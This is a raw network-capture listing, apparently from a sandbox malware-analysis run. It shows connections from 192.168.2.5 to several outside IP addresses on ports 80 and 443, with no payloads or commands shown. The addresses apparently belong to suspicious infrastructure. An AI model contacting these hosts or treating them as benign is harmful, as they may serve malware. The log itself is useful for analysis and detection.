Dec 18, 2024 21:30:31.325804949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.325819969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.325866938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.325870991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.325967073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.326018095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.326189041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.326231956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.326289892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.326338053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.329087973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.329145908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.329232931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.329278946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.330054045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.330116034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.330199957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.330250978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.330992937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.331043005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.331340075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.331392050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.333331108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.333388090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.333667994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.333729982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.334408045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.334458113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.334541082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.334597111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.335426092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.335477114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.335603952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.335648060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.336580038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.336627960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.336740017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.336786032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.337579012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.337616920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.337626934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.337661982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.337743044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.337778091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.337786913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.337819099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.339808941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.339865923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490056992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490092039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490109921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490124941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490144014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490142107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490160942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490181923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490183115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490195036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490197897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490210056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490211964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490223885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490241051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490267992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490451097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490463972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490474939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490488052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490490913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490499020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490511894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490514994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490525007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490544081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490566015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490904093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490916967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490928888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490941048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490952969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490957975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490967035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490979910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.490983963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.490992069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491004944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491005898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491015911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491022110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491030931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491044044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491051912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491058111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491079092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491082907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491096020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491096020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491107941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491122961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491128922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.491137028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.491175890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.493278027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.493340015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.501184940 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:31.501302958 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:31.503004074 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:31.503014088 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:31.503365993 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:31.522041082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.522121906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.522133112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.522172928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.522186041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.522219896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.523624897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.523680925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.523783922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.523833036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.526540995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.526577950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.526596069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.526622057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.552146912 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:31.552175045 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:31.552429914 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:31.574116945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.574172020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.574202061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.574208975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.574232101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.574251890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.574655056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.574692965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.574707985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.574779987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.576272964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.576309919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.576328993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.576371908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.589342117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.589410067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.602428913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.602497101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603043079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603081942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603095055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603116989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603126049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603156090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603161097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603200912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603451014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603487015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.603498936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.603529930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:32.077681065 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:32.077769995 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:32.077860117 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:32.100579023 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:32.100594997 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:32.256562948 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:32.256617069 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:32.256690025 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:32.257030010 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:32.257045031 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:32.287923098 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:32.288055897 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:32.288120985 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:32.288393974 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:32.288427114 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:32.296938896 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:32.297003031 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:32.297127962 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:32.298270941 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:32.298295975 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:33.474189997 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:33.474319935 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:33.493853092 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:33.493881941 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:33.494636059 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:33.496139050 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:33.496320963 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:33.496361971 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:33.496418953 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:33.496426105 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:33.544891119 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:33.544955969 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:33.549563885 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:33.549572945 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:33.549910069 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:33.551148891 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:33.551177979 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:33.551217079 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:33.917527914 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:33.917861938 CET	49815	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:34.037709951 CET	80	49815	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:34.037899017 CET	49815	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:34.038028955 CET	80	49806	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:34.038086891 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:34.038279057 CET	49815	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:34.157896996 CET	80	49815	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:34.159574032 CET	80	49815	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:34.287913084 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.287977934 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.288038015 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.288058996 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.288360119 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.288415909 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.288424969 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.289807081 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.289865971 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.289875031 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.296127081 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.296174049 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.296188116 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.304852009 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.304913044 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.304925919 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.354068995 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.354103088 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.400943995 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.407721996 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.447803974 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.466675997 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:34.466774940 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:34.466829062 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:34.467041016 CET	49813	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:34.467051029 CET	443	49813	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:34.479856014 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.486783028 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.486866951 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.486891985 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.486923933 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.486970901 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.487104893 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.487117052 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.487147093 CET	49814	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:34.487153053 CET	443	49814	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:34.821985960 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:34.822021961 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:34.822189093 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:34.822520971 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:34.822536945 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.039170027 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.039333105 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.040474892 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.040482998 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.040714025 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.042953968 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.043122053 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.043150902 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.043308020 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.043318987 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.911012888 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.911261082 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:36.911344051 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.912600994 CET	49816	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:36.912621021 CET	443	49816	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:37.636003971 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:37.636063099 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:37.636132956 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:37.636459112 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:37.636475086 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:37.797548056 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:37.797590971 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:37.797694921 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:37.798094034 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:37.798105001 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:38.856239080 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:38.856334925 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:38.857578993 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:38.857593060 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:38.857841015 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:38.858992100 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:38.859061956 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:38.859067917 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:39.169919968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:39.170273066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:39.249949932 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.250004053 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.250078917 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:39.250107050 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.253995895 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:39.254012108 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.290616989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:39.290662050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:39.290775061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:39.290821075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:39.291091919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:39.410933018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:39.568069935 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.571897030 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:39.571928024 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.572058916 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:39.572074890 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:39.588459015 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:39.588578939 CET	443	49817	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:39.588797092 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:39.588819981 CET	49817	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:40.274338961 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:40.274379015 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:40.274636984 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:40.275192976 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:40.275206089 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:40.394046068 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:40.395575047 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:40.395709038 CET	443	49818	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:40.395778894 CET	49818	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:40.637188911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.637327909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.637339115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.637397051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.637454033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.637681961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.637701988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.637761116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.638432980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.638448954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.638494968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.638835907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.638869047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.638878107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.638915062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.639553070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.639592886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.757148981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.757529974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.757729053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.761131048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.764484882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.829521894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.829564095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.829674959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.833597898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.833827019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.833899975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:40.842099905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.842246056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:40.842354059 CET	49819	80	192.168.2.5	31.41.244.11
